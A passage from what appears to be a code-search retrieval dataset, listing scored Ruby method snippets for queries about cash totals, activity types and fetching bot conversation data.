"text": "def calculate_total_2(info) #info is a hash\n tax_amount = info[:price] * info[:tax]\n tip_amount = info[:price] * info[:tip]\n info[:price] + tax_amount + tip_amount\nend",
"title": ""
},
{
"docid": "965427cf7338e39c3a65b3af91c0c1d5",
"score": "0.63119304",
"text": "def total_storing_balance # storing fee\n end",
"title": ""
},
{
"docid": "b776ecd593778607b0e960353c5c6683",
"score": "0.62679714",
"text": "def cash_flow\n self.dig_for_decimal(\"cashFlow\")\n end",
"title": ""
},
{
"docid": "f51ea49c94c5334cced077a22b764d1a",
"score": "0.62559307",
"text": "def add_or_remove_cash(shop, amount)\n return shop[:admin][:total_cash] += amount\nend",
"title": ""
},
{
"docid": "f51ea49c94c5334cced077a22b764d1a",
"score": "0.62559307",
"text": "def add_or_remove_cash(shop, amount)\n return shop[:admin][:total_cash] += amount\nend",
"title": ""
},
{
"docid": "f51ea49c94c5334cced077a22b764d1a",
"score": "0.62559307",
"text": "def add_or_remove_cash(shop, amount)\n return shop[:admin][:total_cash] += amount\nend",
"title": ""
},
{
"docid": "f51ea49c94c5334cced077a22b764d1a",
"score": "0.62559307",
"text": "def add_or_remove_cash(shop, amount)\n return shop[:admin][:total_cash] += amount\nend",
"title": ""
},
{
"docid": "d70e95e337d43f9f8b02846e43d80234",
"score": "0.6243538",
"text": "def add_or_remove_cash(shop_cash, cash)\n return shop_cash[:admin][:total_cash] += cash\nend",
"title": ""
},
{
"docid": "4f6ab8c756df3b3791b457a005a43c91",
"score": "0.6239791",
"text": "def get_value_total(hash)\n total = 0\n hash.values{|value| total += value}\n total\nend",
"title": ""
},
{
"docid": "ee8f09ba4d7e96f19d572f41e5d19c91",
"score": "0.62283087",
"text": "def price\n @hash[\"price\"]\n end",
"title": ""
},
{
"docid": "00c4de1ab7beef31536f4aee4235b51a",
"score": "0.6223026",
"text": "def add_or_remove_cash(shop, amount)\n shop[:admin][:total_cash] += amount\n return nil\nend",
"title": ""
},
{
"docid": "230f3881a5a4c26ed8496cc14a724c54",
"score": "0.6210292",
"text": "def total_number(hash)\n sum = 0\n hash.each do |key, value|\n sum += value\n end\n puts \"Total sum of the students is #{sum}\"\nend",
"title": ""
},
{
"docid": "7ac71e614988f05bdf8ebda2fad4f13b",
"score": "0.61974263",
"text": "def add_or_remove_cash(shop, sum)\n shop[:admin][:total_cash] += sum\nend",
"title": ""
},
{
"docid": "b30d1962d12303f93f6f999be40d07b8",
"score": "0.6193214",
"text": "def calculate_total(floors, length, width)\n total_apartments_and_money = Hash.new\n\n total_apartments = calculate_apartments(calculate_floorspace(length, width)) * floors\n total_apartments_and_money[:total_apartments] = total_apartments\n \n total_money = total_apartments * 120_000\n total_apartments_and_money[:total_money] = total_money\n\n return total_apartments_and_money\n\nend",
"title": ""
},
{
"docid": "7097cec70609126e8cdead74eb3dabdc",
"score": "0.61849743",
"text": "def add_or_remove_cash(shop, amount)\n shop[:admin][:total_cash] += amount\nend",
"title": ""
},
{
"docid": "05c448168ad407089953bfb8f79acadd",
"score": "0.6184933",
"text": "def total_cashback\n cashbacks.pluck(:amount).sum\n end",
"title": ""
},
{
"docid": "dfb822ef81267b32fe0f6f942b82c92d",
"score": "0.6162246",
"text": "def totalsales\n\tprices = 0\n\t$products_hash[\"items\"].each do |toy|\n\t\tputs toy[\"purchases\"].length\t\t\n\t\t#toy[\"purchases\"].each do |price|\n\t\t#puts price\n\t\t#\tprices += price\n\t\t#end\n\tend\n\t#puts prices\nend",
"title": ""
},
{
"docid": "d029a811f9b93ccc6460af548f7fdf74",
"score": "0.61574227",
"text": "def total\n \n sum = 0\n @items = Rule.match(@items_hash, @items)\n \n @items.each do |item|\n sum += item.price\n end\n\n sum = Rule.discount(sum)\n \n end",
"title": ""
},
{
"docid": "5c7eadb8953c0c316dbdaedf7e8fd75a",
"score": "0.6156382",
"text": "def amount\n data[:amount]\n end",
"title": ""
},
{
"docid": "c1312002e250358765e9266916136011",
"score": "0.6132906",
"text": "def receive(cash)\n\t\tc = convert(cash)\n\t\tamount = change(c)\n\t\t\tamount.each do |coin|\n\t\t\t\t@one_pence \t += 1 if coin == 1\n\t\t\t\t@two_pence += 1 if coin == 2\n\t\t\t\t@five_pence += 1 if coin == 5\n\t\t\t\t@ten_pence += 1 if coin == 10\n\t\t\t\t@twenty_pence += 1 if coin == 20\n\t\t\t\t@fifty_pence += 1 if coin == 50\n\t\t\t\t@one_pound += 1 if coin == 100\n\t\t\t\t@two_pounds += 1 if coin == 200\n\t\tend\n\t\t@total = total\n\tend",
"title": ""
},
{
"docid": "94699978d1decd039c9c7d4f97361d38",
"score": "0.61232436",
"text": "def total_current_value(record)\n sale_price = record[\"4. close\"].to_f # JANK\n return @settled_cash + @unsettled_cash + (@shares * sale_price)\n end",
"title": ""
},
{
"docid": "bb3789eaa92169861b4883b070009397",
"score": "0.6118904",
"text": "def test_total_cash_in_bank\n total_cash = total_cash_in_bank()\n assert_equal(7311, total_cash)\n end",
"title": ""
},
{
"docid": "cbf46f4ae5308b08a920db1f1ed7091c",
"score": "0.6118749",
"text": "def print_item_sums hash1, hash2\n p hash1[:price] + hash2[:price]\nend",
"title": ""
},
{
"docid": "209ce929062769956715f913ed70beb4",
"score": "0.6099892",
"text": "def find_val(key)\n return 0 unless self.cash_stock_hash.key?(key)\n self.cash_stock_hash[key]\n end",
"title": ""
},
{
"docid": "caf2ca629311283e33fb1abf401f1313",
"score": "0.6099506",
"text": "def print_item_sums hash, hash2\n p hash[:price] + hash2[:price]\nend",
"title": ""
},
{
"docid": "44b2169f17f96fb8bf8b7a57249a46bb",
"score": "0.6097636",
"text": "def customer_cash(customers)\n customer_cash = -2000\n for money in customers\n customer_cash += customers[:cash]\n end\nreturn customer_cash\nend",
"title": ""
},
{
"docid": "dc221eb52cdb2d84c729aad8990b8cfb",
"score": "0.6087645",
"text": "def price\n hash[\"Price\"]\n end",
"title": ""
},
{
"docid": "622e7e1d00c9a0605419cf233d1076b0",
"score": "0.60856414",
"text": "def total(hash)\n sum = 0\n hash.each do |x, y|\n sum += y\n end\n puts sum\nend",
"title": ""
},
{
"docid": "510e0eac359e0b9d6802a0581303b229",
"score": "0.6083862",
"text": "def add_or_remove_cash(pet_shop,cash)\n pet_shop[:admin][:total_cash] += cash\n return total_cash(pet_shop)\nend",
"title": ""
},
{
"docid": "f6f208f5627c5a502992ee60fa52a401",
"score": "0.6083091",
"text": "def add_or_remove_cash(shop, amount_to_add_or_remove)\n shop[:admin][:total_cash] += amount_to_add_or_remove\nend",
"title": ""
},
{
"docid": "294003062acbf14ea0c16c1bed44589b",
"score": "0.6082788",
"text": "def total_price(chemical, hectarage)\n hectarage * chemical.price_per_litre\n end",
"title": ""
}
] |
f4816d2e8a6dc0189ea1a3911e23bbf5
|
Return the type of activity. We switch on the class.to_s because the class itself is quite long (due to ActiveRecord).
|
[
{
"docid": "efbd7e6a84eb404597608f79c792f97d",
"score": "0.8494724",
"text": "def activity_type(activity)\n activity.item.class.to_s \n end",
"title": ""
}
] |
[
{
"docid": "a2ab7e25b72e4b3993bef2df949436e5",
"score": "0.84008265",
"text": "def activity_type\n return @activity_type\n end",
"title": ""
},
{
"docid": "0461bf9a51e1b73b00bf4fc49db1a46e",
"score": "0.8324125",
"text": "def activity_type(activity)\n activity.item.class.to_s \n end",
"title": ""
},
{
"docid": "a360bb3f57d4b3d18af8a04d967b6ef0",
"score": "0.8088739",
"text": "def activity_type_name\n activity_type.name if activity_type \n end",
"title": ""
},
{
"docid": "358f87bc7aec1bf6380dbda49a23a2c5",
"score": "0.80507076",
"text": "def activity_type(activity)\r\n #activity.item.class.to_s \r\n activity.item_type \r\n end",
"title": ""
},
{
"docid": "86ccb291359faeef1849e585e7d5c55c",
"score": "0.7448067",
"text": "def activity_type\n config_hash['activity_type']\n end",
"title": ""
},
{
"docid": "3ccd6211f10b5f9fcc6b061736231199",
"score": "0.74279666",
"text": "def pretty_activity_type\n return \"\" unless activity_type\n\n activity_type.label\n end",
"title": ""
},
{
"docid": "b3585ecfc666d7f4b4e33e2b4bba8ce5",
"score": "0.73747647",
"text": "def activity_type=(value)\n @activity_type = value\n end",
"title": ""
},
{
"docid": "0cf03145e680af79713884d2a7467eb0",
"score": "0.7350193",
"text": "def activity_type(params)\n type_group_id = params[:type_group]\n case TypeGroup.find(type_group_id).name\n when 'Basic Task'\n if params[:internal] == 1.to_s \n return FULL_TASK\n else\n return PARTIAL_TASK\n end\n when 'Habit'\n case params[:habit_type]\n when 'none'\n return HABIT\n when 'number'\n return HABIT_NUMBER\n when 'week'\n return HABIT_WEEK\n else\n Rails.logger.debug \"invalid habit type\"\n return nil\n end\n when 'Goal'\n # incomplete\n Rails.logger.debug \"Goal creation not yet complete\"\n return nil\n else\n Rails.logger.debug \"Invalid TypeGroup\"\n return nil\n end\n end",
"title": ""
},
{
"docid": "f629e8f04e18da88266e2e5dc6bf178c",
"score": "0.7344619",
"text": "def activity_type(activity_id:)\n return get(\"#{API_URI}/activities/#{activity_id}.json\")\n end",
"title": ""
},
{
"docid": "873d1885ff526f26ec060ba1b4e0691f",
"score": "0.7168099",
"text": "def class_for_activity(activity_kind)\n result = self.activities[activity_kind]\n raise \"No class defined for activity kind: #{activity_kind}\" if result.blank?\n result\n end",
"title": ""
},
{
"docid": "c0c8a1ce6f4a4aefdf6f2733ea2410b3",
"score": "0.7140229",
"text": "def object_type\n self.class.to_s.gsub(\"ActivityStreams::\", \"\").downcase.to_sym\n end",
"title": ""
},
{
"docid": "5a14abc4ee7e2dc7518a8d7dfc1351f9",
"score": "0.7024486",
"text": "def type_tr\n case @model.type\n when 'Activities::Visit'\n 'Visita'\n when 'Activities::Todo'\n 'Para hacer'\n when 'Activities::Call'\n 'Llamada'\n when 'Activities::Email'\n 'Email'\n when 'Activities::PaymentPromise'\n 'Promesa de pago'\n else\n ''\n end\n end",
"title": ""
},
{
"docid": "efd1c2611de189122fb3c82ffb3f4582",
"score": "0.70135355",
"text": "def activity_type(activity_id, options = {})\n skip_user_options!(options)\n get_json(path_user_version(\"/activities/#{activity_id}\", options))\n end",
"title": ""
},
{
"docid": "d5e72a494dbd05294a47037be5eaa74d",
"score": "0.70009804",
"text": "def type\n self.class.to_s\n end",
"title": ""
},
{
"docid": "3b604bc8228dfaaeae436820bd7d7c98",
"score": "0.699029",
"text": "def activity_operation_type\n return @activity_operation_type\n end",
"title": ""
},
{
"docid": "abf65b095ed993b99f8d4329a0ea8178",
"score": "0.6812677",
"text": "def type()\r\n\t\treturn self.class.to_s()\r\n\tend",
"title": ""
},
{
"docid": "cf82be7ad847150ea987ac808b617d1c",
"score": "0.6795404",
"text": "def count_activity_type()\n total_activities_type = 0\n previous_activity = ''\n self.activities.all.each do |activity|\n if activity != previous_activity\n activity = previous_activity\n total_activities_type += 1\n end\n end\n return total_activities_type\n end",
"title": ""
},
{
"docid": "8d87a718a3785457eef1f844da794882",
"score": "0.66917694",
"text": "def class_name\n self[:type] || self.class.to_s\n end",
"title": ""
},
{
"docid": "074ed29622c1e4b870ce0e1353dd82ce",
"score": "0.66003263",
"text": "def type\n self['type'] || self.class.to_s\n end",
"title": ""
},
{
"docid": "e30b25a98e2db52e2080bfeb209a9ee6",
"score": "0.65329826",
"text": "def type\n self.class_to_sym\n end",
"title": ""
},
{
"docid": "c96e93bf86fd58461d15c565b16501a4",
"score": "0.65320617",
"text": "def type; self.class.type; end",
"title": ""
},
{
"docid": "45730b0d555d2250402df4af9e65fbd5",
"score": "0.6510653",
"text": "def type\n self.class.type\n end",
"title": ""
},
{
"docid": "45730b0d555d2250402df4af9e65fbd5",
"score": "0.6510653",
"text": "def type\n self.class.type\n end",
"title": ""
},
{
"docid": "45730b0d555d2250402df4af9e65fbd5",
"score": "0.6510653",
"text": "def type\n self.class.type\n end",
"title": ""
},
{
"docid": "45730b0d555d2250402df4af9e65fbd5",
"score": "0.6510653",
"text": "def type\n self.class.type\n end",
"title": ""
},
{
"docid": "0c64b2a278cfd201efdca50b1516f195",
"score": "0.6497176",
"text": "def type\n self.class.type\n end",
"title": ""
},
{
"docid": "0c64b2a278cfd201efdca50b1516f195",
"score": "0.6497176",
"text": "def type\n self.class.type\n end",
"title": ""
},
{
"docid": "0c64b2a278cfd201efdca50b1516f195",
"score": "0.6497176",
"text": "def type\n self.class.type\n end",
"title": ""
},
{
"docid": "0c64b2a278cfd201efdca50b1516f195",
"score": "0.6497176",
"text": "def type\n self.class.type\n end",
"title": ""
},
{
"docid": "471963b20d79513633a164890ea71aa9",
"score": "0.64840513",
"text": "def activity_name_from_activity_type(name)\n return name.to_s.split(\".\").last.to_sym\n end",
"title": ""
},
{
"docid": "471963b20d79513633a164890ea71aa9",
"score": "0.64840513",
"text": "def activity_name_from_activity_type(name)\n return name.to_s.split(\".\").last.to_sym\n end",
"title": ""
},
{
"docid": "4c9ce4c2e5f103bcd3bfb40000bf315f",
"score": "0.64512074",
"text": "def object_type\n return @activity_data[:object_type] unless @activity_data == nil\n pick_first_node(@activity.xpath('./activity:object-type'))\n end",
"title": ""
},
{
"docid": "e2c1558409bd4f85a4eb98c7122c3565",
"score": "0.64089805",
"text": "def type\n object.class.to_s\n end",
"title": ""
},
{
"docid": "e2c1558409bd4f85a4eb98c7122c3565",
"score": "0.64089805",
"text": "def type\n object.class.to_s\n end",
"title": ""
},
{
"docid": "9c74eaa70cfcd276606c73616eaf671a",
"score": "0.64002395",
"text": "def human_readable_type\n self.class.human_readable_type\n end",
"title": ""
},
{
"docid": "9c74eaa70cfcd276606c73616eaf671a",
"score": "0.64002395",
"text": "def human_readable_type\n self.class.human_readable_type\n end",
"title": ""
},
{
"docid": "faf6fc09dff7258555ee522d0453040a",
"score": "0.6385484",
"text": "def activity_operation_type=(value)\n @activity_operation_type = value\n end",
"title": ""
},
{
"docid": "6df961038c5f8b4605e87371d797ad3c",
"score": "0.6381391",
"text": "def type\n return :annotation unless self[:type]\n self[:type].downcase.to_sym\n end",
"title": ""
},
{
"docid": "ec57e5d97edeed38d22829d2b5c65c0d",
"score": "0.6369046",
"text": "def type\n 'Class'\n end",
"title": ""
},
{
"docid": "397cccf6955f6d8a440f729cb0f970e0",
"score": "0.6358957",
"text": "def type\n self.class::TYPE\n end",
"title": ""
},
{
"docid": "397cccf6955f6d8a440f729cb0f970e0",
"score": "0.6358957",
"text": "def type\n self.class::TYPE\n end",
"title": ""
},
{
"docid": "585dc2c2b24fab1d950010bd23eb77c0",
"score": "0.63438416",
"text": "def activity_model\n (Object.const_get modelname).find(model_id).attributes\n #ApplicationRecord.send(:subclasses).map(&:name)\n\n end",
"title": ""
},
{
"docid": "43195de22871df938582e45eb2e9445f",
"score": "0.63413465",
"text": "def type\n self.class.to_s.split('::').last.downcase\n end",
"title": ""
},
{
"docid": "882cd9f87a4062022fa0df175480db3e",
"score": "0.6337019",
"text": "def type\n self.class.type\n end",
"title": ""
},
{
"docid": "882cd9f87a4062022fa0df175480db3e",
"score": "0.6337019",
"text": "def type\n self.class.type\n end",
"title": ""
},
{
"docid": "882cd9f87a4062022fa0df175480db3e",
"score": "0.6337019",
"text": "def type\n self.class.type\n end",
"title": ""
},
{
"docid": "882cd9f87a4062022fa0df175480db3e",
"score": "0.6337019",
"text": "def type\n self.class.type\n end",
"title": ""
},
{
"docid": "8206b40c022d54ca6e05909edd5225c9",
"score": "0.63306034",
"text": "def get_type\n class_name = self.class.name.split('::').last\n class_name.downcase.to_sym\n end",
"title": ""
},
{
"docid": "19fbcf5eb7989d56c2cb86a5ffd5ed1e",
"score": "0.6330216",
"text": "def type\n self.class.name.underscore\n end",
"title": ""
},
{
"docid": "7ceebcc1dfc231e0a7558165f833efc9",
"score": "0.6325055",
"text": "def type\n self.class.name.downcase\n end",
"title": ""
},
{
"docid": "65901a4a52d3f69b8889173654d007b7",
"score": "0.63192326",
"text": "def get_type\r\n self.class.name.split('::').last.downcase.to_sym\r\n end",
"title": ""
},
{
"docid": "4e2b1e4948037986431577d385f8929e",
"score": "0.6313387",
"text": "def type\n\t\tself.class.type\n\tend",
"title": ""
},
{
"docid": "4e2b1e4948037986431577d385f8929e",
"score": "0.6313387",
"text": "def type\n\t\tself.class.type\n\tend",
"title": ""
},
{
"docid": "80e2828a2fde5393a86546e08fa17939",
"score": "0.6304947",
"text": "def type\n self.class::TYPE\n end",
"title": ""
},
{
"docid": "480f80969b21d71757954c93ee1e86d9",
"score": "0.6290311",
"text": "def type\r\n self.class.to_s.downcase.to_sym\r\n end",
"title": ""
},
{
"docid": "c43c3f8f60a8a5e56e2fc8ab66c222a8",
"score": "0.6276332",
"text": "def type\n self.class.name\n end",
"title": ""
},
{
"docid": "5b903fd9f13fa2e7b21ff159ee44025b",
"score": "0.6275883",
"text": "def type\n return object.class.name\n end",
"title": ""
},
{
"docid": "ec0f6ad6ad7f59b1089f1960dda15ea0",
"score": "0.6268018",
"text": "def type\r\n return @task_type\r\n end",
"title": ""
},
{
"docid": "d76e30d43e3789764a5b5297c8ae046e",
"score": "0.62626743",
"text": "def type\n return @type\n end",
"title": ""
},
{
"docid": "081dda90d5476d438c843b414935b42e",
"score": "0.6261158",
"text": "def type\n object.class.name\n end",
"title": ""
},
{
"docid": "081dda90d5476d438c843b414935b42e",
"score": "0.6261158",
"text": "def type\n object.class.name\n end",
"title": ""
},
{
"docid": "666d0ad8ff756500ad13ac9b2a57d835",
"score": "0.62572515",
"text": "def type\n return @type # TODO: Change to constant\n end",
"title": ""
},
{
"docid": "0d11a174c816715f1208f7b508b838f3",
"score": "0.6254216",
"text": "def class\n\t\tbegin\n\t\t\tdefined?(::Rails) && @attributes[:_type] ? @attributes[:_type].camelize.constantize : super\n\t\trescue NameError\n\t\t\tsuper\n\t\tend\n\tend",
"title": ""
},
{
"docid": "257de99d5ce9edfff83915b02653dda8",
"score": "0.6251828",
"text": "def type\n self.class.name.split(':').last.downcase\n end",
"title": ""
},
{
"docid": "1ed85a611ff4708931b01d43269baa90",
"score": "0.62326014",
"text": "def to_s\n return @type\n end",
"title": ""
},
{
"docid": "8187cce7009eeaeef515b871ed103519",
"score": "0.62317526",
"text": "def class_to_type\n self.class.name.underscore\n end",
"title": ""
},
{
"docid": "f54124a198d478be5526e73243a0c319",
"score": "0.6210154",
"text": "def type\n object.type.to_s.underscore\n end",
"title": ""
},
{
"docid": "76b2e4e0671f2bee09c87fefe2e0adb1",
"score": "0.62092334",
"text": "def type\n @type ||= self.class.name.to_s.demodulize.underscore.to_sym\n end",
"title": ""
},
{
"docid": "e4cd864a88b460c2c710c936022eb0fb",
"score": "0.6208378",
"text": "def type\n @attributes[:type]\n end",
"title": ""
},
{
"docid": "e4cd864a88b460c2c710c936022eb0fb",
"score": "0.6208378",
"text": "def type\n @attributes[:type]\n end",
"title": ""
},
{
"docid": "e4cd864a88b460c2c710c936022eb0fb",
"score": "0.6208378",
"text": "def type\n @attributes[:type]\n end",
"title": ""
},
{
"docid": "e4cd864a88b460c2c710c936022eb0fb",
"score": "0.6208378",
"text": "def type\n @attributes[:type]\n end",
"title": ""
},
{
"docid": "e4cd864a88b460c2c710c936022eb0fb",
"score": "0.6208378",
"text": "def type\n @attributes[:type]\n end",
"title": ""
},
{
"docid": "e4cd864a88b460c2c710c936022eb0fb",
"score": "0.6208378",
"text": "def type\n @attributes[:type]\n end",
"title": ""
},
{
"docid": "e4cd864a88b460c2c710c936022eb0fb",
"score": "0.6208378",
"text": "def type\n @attributes[:type]\n end",
"title": ""
},
{
"docid": "27b8580b5909b8e6c998b4afc5d24c29",
"score": "0.62020123",
"text": "def to_s\n type\n end",
"title": ""
},
{
"docid": "27b8580b5909b8e6c998b4afc5d24c29",
"score": "0.62020123",
"text": "def to_s\n type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.6201472",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.6201472",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62014127",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62014127",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62014127",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62014127",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62014127",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62014127",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62014127",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62012005",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62012005",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62012005",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62012005",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62012005",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62012005",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62012005",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62012005",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62012005",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62012005",
"text": "def type\n @type\n end",
"title": ""
},
{
"docid": "968037b1f34c3bf034e953bd24b2e517",
"score": "0.62012005",
"text": "def type\n @type\n end",
"title": ""
}
] |
817d5093ccbbfa2a9dbbf07764b7584a
|
GetConversationData get the bots data for all users in a conversation
|
[
{
"docid": "5efb416592c8989c4401e7acb6b1c31d",
"score": "0.7654759",
"text": "def get_conversation_data(opts = {})\n # opts['channel_id'] & opts['conversation_id']\n uri = \"/v3/botstate/#{opts['channel_id']}/conversations/#{opts['conversation_id']}\"\n BotFramework::BotData.new api_get(uri)\n end",
"title": ""
}
] |
[
{
"docid": "d02ac75ff51b17bdef752a94a1664f86",
"score": "0.72935224",
"text": "def get_private_conversation_data(opts = {})\n uri = \"/v3/botstate/#{opts['channel_id']}/conversations/#{opts['conversation_id']}/users/#{opts['user_id']}\"\n BotFramework::BotData.new api_get(uri)\n end",
"title": ""
},
{
"docid": "0264d674c37f610f2eccb3f5784f287d",
"score": "0.6663134",
"text": "def get_conversations\n n = Notification.where(user_id:current_user)\n conversation_ids = Array.new\n n.each do |v|\n conversation_ids << v.conversation_id\n end\n conversations = Conversation.where(id:conversation_ids)\n\n end",
"title": ""
},
{
"docid": "bf968e8bd2df42b6209ab3a3e121cd07",
"score": "0.6527956",
"text": "def get_all_conversations\n response = RestClient::Request.execute method: :get,\n url: URL,\n user: USERNAME,\n password: PASSWORD,\n headers: {params: {pageSize: OBJECTS_PER_PAGE, page:ARGV[1]}},\n :content_type => :json,\n :accept => :json\n JSON(response)['conversations'][396..-1]\n end",
"title": ""
},
{
"docid": "e184a3872ff09cbe8a661011c1a45b78",
"score": "0.6394971",
"text": "def index\n @user_conversations = UserConversation.all\n end",
"title": ""
},
{
"docid": "2e4da499d8b2f9895d9ae2b0b3ee2e9a",
"score": "0.613622",
"text": "def conversation\n @messages = Message.get_conversation(current_user, params[:user_id])\n render json: @messages, each_serializer: MessageConversationSerializer\n end",
"title": ""
},
{
"docid": "65051697dda5fa25de18944ff3f0f6fe",
"score": "0.61169314",
"text": "def conversations\n object.conversations.map {|a| ConversationSerializer.new(a).as_json }\n end",
"title": ""
},
{
"docid": "192aeb27e7bd4a8a23965a96d0ce4790",
"score": "0.60560864",
"text": "def index\n #find the current user object\n @user = User.find(session[:user_id])\n #get the id of current user\n user_id = User.find(session[:user_id]).id\n #get all conversations of current user\n @started_conversations = @user.started_conversations\n @joined_conversations = @user.joined_conversations\n end",
"title": ""
},
{
"docid": "8da5e73a2da9c33d66de80e7cdf9b10f",
"score": "0.6009178",
"text": "def get_user_data(opts = {})\n uri = \"/v3/botstate/#{opts['channel_id']}/users/#{opts['user_id']}\"\n BotFramework::BotData.new api_get(uri)\n end",
"title": ""
},
{
"docid": "95b0e5458aef2733d28cf6d9e2513b0a",
"score": "0.59873873",
"text": "def fetch\n conversation_users = paginate ConversationUser.where(conversation_id: params[:conversation_id])\n\n render json: conversation_users.to_json(:include => :user)\n end",
"title": ""
},
{
"docid": "e51f77258d22a76e056b7b84cc2dec02",
"score": "0.5986851",
"text": "def get_conversations(opts = {})\n data, _status_code, _headers = get_conversations_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "769c767390d4e6aedc47e0cd29a66bc8",
"score": "0.59558713",
"text": "def set_conversation_data(opts = {})\n uri = \"/v3/botstate/#{opts['channel_id']}/conversations/#{opts['conversation_id']}\"\n api_post(uri, opts['bot_data'])\n end",
"title": ""
},
{
"docid": "4ae1e2f2af76aa806afa62ff0bf19794",
"score": "0.5920169",
"text": "def index\n\t\tputs(getAllFriendsConversation)\n\t\t@conversations = current_user.mailbox.conversations\n\t\t@current_user = current_user\n\tend",
"title": ""
},
{
"docid": "2a18755777eaab204b7657b43950d6c4",
"score": "0.59192324",
"text": "def set_private_conversation_data(opts = {})\n uri = \"/v3/botstate/#{opts['channel_id']}/conversations/#{opts['conversation_id']}/users/#{opts['user_id']}\"\n api_post(uri, opts['bot_data'])\n end",
"title": ""
},
{
"docid": "e70e6576ead99803a603ab92b5aca0db",
"score": "0.5918547",
"text": "def getConversations\n @conversations = Conversation.all.select(\"name\").map(&:name)\n\n respond_to do |format|\n format.json {render :json => {:conversations => @conversations}}\n end\n end",
"title": ""
},
{
"docid": "1b5cf0a8d2c75bf9d7c53318f07d8842",
"score": "0.59152234",
"text": "def chat\n\t\t#TODO: this user\n\t\t@thisuser = session[:user_id]\n\n\t\t#TODO: get other users this user chats with\n\t\t@chat = Chat.where('user1 = ? OR user2 = ?', @thisuser, @thisuser)\n\n\t\t# @chat.each do |eachChat|\n\t\t@chatData = []\n\t\tfor eachChat in @chat\n\t\t\tuser1 = User.find(eachChat.user1)\n\t\t\tuser2 = User.find(eachChat.user2)\n\n\t\t\tchat_with = user1.username\n\t\t\tchat_user_id = user1.id\n\t\t\trole = user1.role == 1 ? \"trainer\" : \"user\"\n\t\t\tif eachChat.user1 == @thisuser\n\t\t\t\tchat_with = user2.username\n\t\t\t\tchat_user_id = user2.id\n\t\t\t\trole = user1.role == 1 ? \"trainer\" : \"user\"\n\t\t\tend\n\t\t\tthisChat = { \"chat_with\": chat_with, \"chat_user_id\": chat_user_id, \"role\": role }\n\t\t\t\n\t\t\t@chatData << thisChat\n\t\t\t\n\t\tend\n\tend",
"title": ""
},
{
"docid": "798f85899a275c7c43b5ee893a1f82d2",
"score": "0.59065455",
"text": "def index\n @conversations = current_user.conversations\n end",
"title": ""
},
{
"docid": "264bdf88e653b5d4cd6229314b6cc8fe",
"score": "0.59029883",
"text": "def get_conversations_chats_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConversationsApi.get_conversations_chats ...\"\n end\n \n # resource path\n local_var_path = \"/api/v2/conversations/chats\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ChatConversationEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConversationsApi#get_conversations_chats\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "34888e2444460a7f675ef14c5ce512ae",
"score": "0.58779675",
"text": "def get_conversation_participants(id)\n @client.raw('get', \"/content/conversations/#{id}/participants\")\n end",
"title": ""
},
{
"docid": "0a020b7ba76fc275a3a6af1fb123c892",
"score": "0.58657205",
"text": "def get_conversations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConversationsApi.get_conversations ...\"\n end\n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/conversations\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'communicationType'] = opts[:'communication_type'] if opts[:'communication_type']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n 